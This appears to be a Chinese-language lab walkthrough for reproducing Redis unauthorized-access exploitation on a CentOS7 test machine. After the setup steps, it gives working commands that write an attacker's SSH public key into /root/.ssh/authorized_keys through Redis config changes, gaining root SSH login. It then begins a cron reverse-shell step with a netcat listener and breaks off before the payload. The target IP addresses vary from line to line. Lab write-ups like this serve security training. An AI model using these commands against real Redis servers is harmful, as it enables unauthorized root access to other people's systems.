\1. 目标靶机: Centos7
\2. ip地址: 192.168.18.138
\3. 连接工具:Xshell
环境搭建
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzvf redis-2.8.17.tar.gz #解压安装包
cd redis-2.8.17 # 进入redis目录
make #编译
cd src/ #进入src目录
cp redis-server /usr/bin/
cp redis-cli /usr/bin/ #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
cd .. # 返回上一级目录
cp redis.conf /etc/ #将redis.conf拷贝到/etc/目录下
redis-server /etc/redis.conf # 使用/etc/目录下的redis.conf文件中的配置启动redis服务
服务启动成功
漏洞复现
\1. 未授权访问
redis-cli -h 192.168.18.132
\2. 写入webshell
靶机查看是否写入成功
利用公私钥获取root权限
靶机:
在攻击机中生成ssh私钥和公钥,密码为空:ssh-keygen -t rsa
进入.ssh目录:cd .ssh/,将生成的公钥保存到1.txt:
(echo -e “\n\n”;cat id_rsa.pub;echo -e “\n\n”) > 1.txt
连接靶机的Redis,将刚生成的公钥1.txt写入redis
cat 1.txt | redis-cli 192.168.209.136 -x set crack
攻击机连接靶机redis:redis-cli -h 192.168.18.132
使用 config get dir 命令得到redis备份的路径,更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)并设置上传公钥的备份文件名字为authorized_keys:
config get dir
config set dir /root/.ssh
config set dbfilename “authorized_keys”
save
利用ssh免密登录到靶机:ssh -i id_rsa root@192.168.18.132
计划任务反弹shell
在权限足够的情况下,利用redis写入文件到计划任务目录下执行。
攻击机执行监听:nc -lnvp 4444
然后执行